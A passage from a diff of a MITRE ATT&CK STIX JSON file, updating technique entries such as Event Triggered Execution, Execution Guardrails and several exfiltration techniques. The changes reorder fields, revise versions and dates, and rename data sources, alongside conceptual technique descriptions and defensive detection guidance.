utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "type": "attack-pattern", "kill_chain_phases": [ @@ -11534,19 +12446,23 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:20:40.675Z", + "modified": "2021-04-15T03:10:35.877Z", "created": "2020-10-01T01:05:42.216Z", - "x_mitre_data_sources": [ - "Social media monitoring" - ], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" ] }, { + "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", + "name": "Event Triggered Execution", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -11559,7 +12475,7 @@ "source_name": "FireEye WMI 2015" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" }, @@ -11569,13 +12485,6 @@ "source_name": "amnesia malware" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution", - "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", - "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "type": "attack-pattern", "kill_chain_phases": [ { @@ -11587,30 +12496,26 @@ "phase_name": "persistence" } ], - "modified": "2020-10-21T18:48:27.576Z", + "modified": "2021-04-13T21:32:54.610Z", "created": "2020-01-22T21:04:23.285Z", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", - "x_mitre_data_sources": [ - "API monitoring", - "Windows event logs", - "System calls", - "Binary file metadata", - "Process use of network", - "WMI Objects", - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Loaded DLLs", - "DLL monitoring", - "Windows Registry" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification", + "WMI: WMI Creation", + "File: File Metadata", + "Module: Module Load" + ], + "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.1" }, { "external_references": [ @@ -11666,7 +12571,8 @@ ], "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", "x_mitre_data_sources": [ - "Office 365 audit logs" + "Group: Group Modification", + "User Account: User Account Modification" ], "x_mitre_platforms": [ "Windows", @@ -11728,8 +12634,11 @@ ], "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation", + "Service: Service Metadata" ], "x_mitre_contributors": [ "Travis Smith, Tripwire", @@ -11740,6 +12649,22 @@ ] }, { + "created": "2019-01-31T02:10:08.261Z", + "modified": "2020-06-24T18:52:12.956Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", + "name": "Execution Guardrails", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -11757,45 +12682,30 @@ "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Execution Guardrails", - "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", - "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } + "x_mitre_contributors": [ + "Nick Carr, FireEye" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "x_mitre_permissions_required": [ + "User" ], - "modified": "2020-06-24T18:52:12.956Z", - "created": "2019-01-31T02:10:08.261Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.1", "x_mitre_defense_bypassed": [ "Anti-virus", "Host forensic analysis", "Signature-based detection", "Static file analysis" ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", - "x_mitre_data_sources": [ - "Process monitoring" - ], - "x_mitre_contributors": [ - "Nick Carr, FireEye" - ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": false }, { "created": "2017-05-31T21:30:44.720Z", @@ -11843,11 +12753,11 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Netflow/Enclave netflow", - "Network protocol analysis" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_version": "1.2" }, @@ -11885,10 +12795,11 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ", "x_mitre_data_sources": [ - "Network protocol analysis", - "Netflow/Enclave netflow", - "Packet capture", - "Process use of network" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -11924,8 +12835,11 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", "x_mitre_data_sources": [ - "Process monitoring", - "User interface" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -11934,9 +12848,19 @@ ] }, { - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:30:41.804Z", + "modified": "2020-03-12T15:59:47.470Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } ], + "type": "attack-pattern", + "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Exfiltration Over C2 Channel", + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "external_references": [ { "source_name": "mitre-attack", @@ -11949,34 +12873,25 @@ "source_name": "University of Birmingham C2" } ], - "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", - "name": "Exfiltration Over C2 Channel", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "exfiltration" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-12T15:59:47.470Z", - "created": "2017-05-31T21:30:41.804Z", - "x_mitre_is_subtechnique": false, - "x_mitre_version": "2.0", - "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Netflow/Enclave netflow", - "Process monitoring" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", - "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_network_requirements": true, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", @@ -12014,8 +12929,11 @@ "Itzik Kotler, SafeBreach" ], "x_mitre_data_sources": [ - "User interface", - "Process monitoring" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_version": "1.1" }, @@ -12055,9 +12973,10 @@ "x_mitre_network_requirements": false, "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_data_sources": [ - "Process monitoring", - "Data loss prevention", - "File monitoring" + "Process: Process Creation", + "File: File Access", + "Drive: Drive Creation", + "Command: Command Execution" ], "x_mitre_version": "1.1" }, @@ -12095,11 +13014,11 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ", "x_mitre_data_sources": [ - "Malware reverse engineering", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Packet capture", - "Process use of network" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -12108,22 +13027,6 @@ ] }, { - "created": "2020-03-15T15:37:47.583Z", - "modified": "2020-03-28T00:50:31.361Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "exfiltration" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", - "name": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -12136,21 +13039,38 @@ "source_name": "University of Birmingham C2" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "modified": "2020-03-28T00:50:31.361Z", + "created": "2020-03-15T15:37:47.583Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_network_requirements": true, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ], - "x_mitre_data_sources": [ - "Network protocol analysis", - "Netflow/Enclave netflow", - "Packet capture", - "Process use of network" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ", - "x_mitre_network_requirements": true, - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + ] }, { "external_references": [ @@ -12181,12 +13101,10 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Netflow/Enclave netflow", - "Network protocol analysis", - "SSL/TLS inspection" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -12225,9 +13143,10 @@ ], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_data_sources": [ - "Process monitoring", - "Data loss prevention", - "File monitoring" + "Process: Process Creation", + "File: File Access", + "Drive: Drive Creation", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -12265,12 +13184,10 @@ "Windows" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Netflow/Enclave netflow", - "Network protocol analysis", - "SSL/TLS inspection" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_network_requirements": true, @@ -12306,12 +13223,10 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Netflow/Enclave netflow", - "Network protocol analysis", - "SSL/TLS inspection" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -12323,7 +13238,7 @@ "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Exploit Public-Facing Application", - "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "external_references": [ { "source_name": "mitre-attack", @@ -12376,29 +13291,24 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-21T01:10:54.358Z", + "modified": "2021-04-12T18:25:16.409Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ - "Linux", "Windows", + "IaaS", + "Network", + "Linux", "macOS", - "AWS", - "GCP", - "Azure", - "Network" + "Containers" ], "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_data_sources": [ - "Azure activity logs", - "AWS CloudTrail logs", - "Stackdriver logs", - "Packet capture", - "Web logs", - "Web application firewall logs", - "Application logs" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" ], - "x_mitre_version": "2.2", + "x_mitre_version": "2.3", "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", "Praetorian" ], "x_mitre_is_subtechnique": false @@ -12428,11 +13338,6 @@ "modified": "2020-03-28T19:06:02.690Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "1.1", - "x_mitre_data_sources": [ - "Anti-virus", - "System calls", - "Process monitoring" - ], "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_platforms": [ "Linux", @@ -12489,11 +13394,6 @@ "User" ], "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", - "x_mitre_data_sources": [ - "Authentication logs", - "Windows Error Reporting", - "Process monitoring" - ], "x_mitre_contributors": [ "John Lambert, Microsoft Threat Intelligence Center" ], @@ -12537,47 +13437,60 @@ "Anti-virus", "System access controls" ], - "x_mitre_data_sources": [ - "Windows Error Reporting", - "Process monitoring", - "File monitoring" - ], "x_mitre_contributors": [ "John Lambert, Microsoft Threat Intelligence Center" ], "x_mitre_version": "1.1" }, { - "created": "2017-05-31T21:30:55.066Z", - "modified": "2020-03-26T21:12:49.194Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "type": "attack-pattern", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1068", - "external_id": "T1068" + "external_id": "T1068", + "url": "https://attack.mitre.org/techniques/T1068" + }, + { + "source_name": "ESET InvisiMole June 2020", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." + }, + { + "source_name": "Unit42 AcidBox June 2020", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." + }, + { + "source_name": "Microsoft Driver Block Rules", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021." } ], - "description": "Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", + "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation 